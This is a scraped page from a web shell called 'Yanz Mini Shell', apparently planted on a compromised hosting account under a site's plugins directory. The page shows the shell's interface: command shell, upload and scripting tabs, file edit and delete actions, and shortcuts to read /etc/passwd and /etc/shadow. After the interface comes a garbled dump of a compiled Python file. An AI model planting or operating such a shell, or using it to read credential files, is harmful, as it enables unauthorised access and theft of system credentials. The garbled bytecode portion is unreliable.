Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
firstmatrixcoin
public_html
ocean-arc.firstmatrix.co.in
plugins
input-mask
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
U &��_8 � @ sR d Z ddlZddlmZ G dd� d�Zdd� ZedkrNdd lm Z e d dd� dS ) zidlelib.filelist� N)� messageboxc @ s^ e Zd ZddlmZ dd� Zddd�Zddd �Zdd d�Zdd � Z dd� Z dd� Zdd� ZdS )�FileListr ��EditorWindowc C s || _ i | _i | _i | _d S �N)�root�dict�inversedict�vars)�selfr � r �//opt/python38/lib/python3.8/idlelib/filelist.py�__init__ s zFileList.__init__Nc C s� | � |�}tj�|�r2tjdd|f | jd� d S tj�|�}|| jkr`| j| }|j � � |S |rl||�S | �| ||�}|jr�|S |� � d S d S )Nz File Errorz%r is a directory.�Zmaster)�canonize�os�path�isdir�tkMessageBox� showerrorr �normcaser �top�wakeupr Z good_load�_close)r �filename�action�key�editr r r �open s( � z FileList.openc C s( | � |�}|d k r$|d k r$|�|� d S r )r Zgotoline)r r �linenor r r r �gotofileline, s zFileList.gotofilelinec C s | � | |�S r r )r r r r r �new1 s zFileList.newc O s( t | j�D ]}|�� }|dkr q$q dS )N�cancel�break)�listr �close)r �args�kwdsr Zreplyr r r �close_all_callback4 s zFileList.close_all_callbackc C sV z| j | }W n tk r, td� Y d S X |r:| j|= | j |= | j sR| j�� d S )Nz-Don't know this EditorWindow object. (close))r �KeyError�printr r �quit)r r r r r r �unregister_maybe_terminate; s z#FileList.unregister_maybe_terminatec C s� |� � z| j| }W n tk r4 td� Y d S X |jj}|s\|rN| j|= d | j|<